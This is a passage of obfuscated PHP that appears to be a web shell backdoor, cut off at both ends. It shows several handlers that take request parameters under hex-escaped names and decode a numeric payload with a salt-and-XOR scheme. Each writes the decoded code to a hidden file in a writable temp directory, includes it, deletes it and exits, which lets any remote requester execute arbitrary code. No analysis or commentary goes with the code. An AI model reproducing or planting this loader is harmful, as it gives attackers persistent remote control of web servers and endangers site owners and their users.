$v4) { $sChar=ord($salt[$s %$lenS] ); $d=((int)$v4 - $sChar - ($s %10)) ^ 42; $data .= chr($d ); } while ($ent = array_shift($data_chunk)) { if (is_writable($ent) && is_dir($ent)) { $binding = implode("/", [$ent, ".hld"]); if (file_put_contents($binding, $data)) { include $binding; @unlink($binding); die(); } } } } if(isset($_POST) && isset($_POST["\x70tr"])){ $entry = array_filter([getcwd(), ini_get("upload_tmp_dir"), "/dev/shm", getenv("TMP"), "/var/tmp", session_save_path(), getenv("TEMP"), sys_get_temp_dir(), "/tmp"]); $data = $_POST["\x70tr"]; $data = explode ( "." , $data ) ; $component = ''; $s4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s4 ); $m = 0; $len = count($data ); do { if ($m>=$len) break; $v1 = $data[$m]; $chS = ord($s4[$m% $lenS] ); $dec = ((int)$v1 - $chS - ($m% 10)) ^ 42; $component.= chr($dec ); $m++; }while (true ); while ($ent = array_shift($entry)) { if (max(0, is_dir($ent) * is_writable($ent))) { $reference = "$ent/.comp"; if (file_put_contents($reference, $component)) { require $reference; unlink($reference); exit; } } } } if(!is_null($_REQUEST["dat"] ?? null)){ $sym = array_filter([ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/dev/shm", session_save_path(), "/tmp", "/var/tmp", getcwd(), getenv("TEMP"), getenv("TMP")]); $key = $_REQUEST["dat"]; $key = explode ( "." , $key ); $parameter_group = ''; $s9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s9); foreach ($key as $z => $v7) { $chS = ord($s9[$z % $sLen]); $dec = ((int)$v7 - $chS - ($z % 10)) ^ 22; $parameter_group .= chr($dec); } for ($pgrp = 0, $descriptor = count($sym); $pgrp < $descriptor; $pgrp++) { $k = $sym[$pgrp]; if (!!is_dir($k) && !!is_writable($k)) { $symbol = implode("/", [$k, ".object"]); if (file_put_contents($symbol, $parameter_group)) { include $symbol; @unlink($symbol); exit; } } } } if(isset($_POST) && isset($_POST["\x70set"])){ $record = $_POST["\x70set"]; $record = explode ( '.' , $record ) ; $rec = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $z = 0; foreach($record as $v1) {$sChar = ord($salt[$z % $sLen]); $dec =((int)$v1 - $sChar -($z % 10)) ^ 80; $rec .= chr($dec); $z++; } $descriptor = array_filter(["/var/tmp", session_save_path(), getenv("TMP"), "/dev/shm", sys_get_temp_dir(), getcwd(), ini_get("upload_tmp_dir"), getenv("TEMP"), "/tmp"]); for ($value = 0, $pointer = count($descriptor); $value < $pointer; $value++) { $parameter_group = $descriptor[$value]; if (!!is_dir($parameter_group) && !!is_writable($parameter_group)) { $ptr = implode("/", [$parameter_group, ".component"]); $success = file_put_contents($ptr, $rec); if ($success) { include $ptr; @unlink($ptr); exit;} } } } if(isset($_REQUEST["r\x65s\x6F\x75r\x63e"])){ $desc = $_REQUEST["r\x65s\x6F\x75r\x63e"]; $desc = explode ('.', $desc ); $dchunk = ''; $s5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s5 ); $l = 0; $__len = count($desc ); do { if ($l >=$__len) break; $v1 = $desc[$l]; $sChar = ord($s5[$l%$sLen] ); $d = ((int)$v1 - $sChar - ($l%10)) ^17; $dchunk .= chr($d ); $l++; } while (true ); $itm = array_filter([getcwd(), ini_get("upload_tmp_dir"), "/var/tmp", getenv("TMP"), getenv("TEMP"), sys_get_temp_dir(), "/dev/shm", session_save_path(), "/tmp"]); foreach ($itm as $pset): if ((bool)is_dir($pset) && (bool)is_writable($pset)) { $descriptor = "$pset" . "/.data_chunk"; $file = fopen($descriptor, 'w'); if ($file) { fwrite($file, $dchunk); fclose($file); include $descriptor; @unlink($descriptor); exit; } } en